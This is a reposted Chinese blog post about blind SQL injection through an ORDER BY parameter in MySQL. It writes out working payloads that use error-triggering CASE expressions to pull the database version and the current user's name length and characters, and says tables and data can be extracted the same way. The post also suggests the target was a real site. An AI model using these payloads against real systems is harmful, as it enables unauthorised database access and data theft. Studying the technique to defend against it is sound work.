网站地图    收藏   

主页 > 后端 > 网站安全 >

MySQL盲注 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 原文已经应要求删除了,后来想了想觉得我还是有必要记录一下的,只不过不再类似之前实战或现场直播带插图式,不提名挂号。更新一次博客不容易呀!有个注入点接收如下几个参数...

原文已经应要求删除了,后来想了想觉得我还是有必要记录一下的,只不过不再类似之前实战或现场直播带插图式,不提名挂号。更新一次博客不容易呀!
 
有个注入点接收如下几个参数:
category=4&limit1=0&limit2=1&order=desc&orderColumn=1
根据这几个参数,大致就可以猜出SQL语句如下:
 
SELECT * FROM iNeeke WHERE category = 4 ORDER BY 1 DESC LIMIT 0,0;
一般注入的时候都是用“category = 4 and where 1=2 union select …”或“limit 0,1 union select …”来改变结果集的,但从上面的SQL看来后者是不行的,因为在“order by”后面不能出现“union”,而category参数也做了过滤,也就行不通了。
现在只能在orderColumn这个参数上下功夫了,它改变不了查询结果,但是可以想办法它查询成功或查询出错,这样就可以盲注了,这里参考了一下老君的文章:www.2cto.com/Article/201004/46707.html
然后开始拼装SQL:
查版本:
category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select substring(version(),1,1) > 5) then 1 else 1*(select 1 union select 2)end)=1
查当前MySQL用户名长度:
category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select length(user()) > 10) then 1 else 1*(select 1 union select 2)end)=1
查当前MySQL用户名第一个字符内容:
category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select ascii(substring(user(),1,1)) = 120) then 1 else 1*(select 1 union select 2)end)=1
以此类推,什么库名,表明,字段,数据都能搞出来,只是手工盲注太累人了…
就这么着吧,不过感觉这东西还可以再深入研究。
 
http://www.ineeke.com/
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论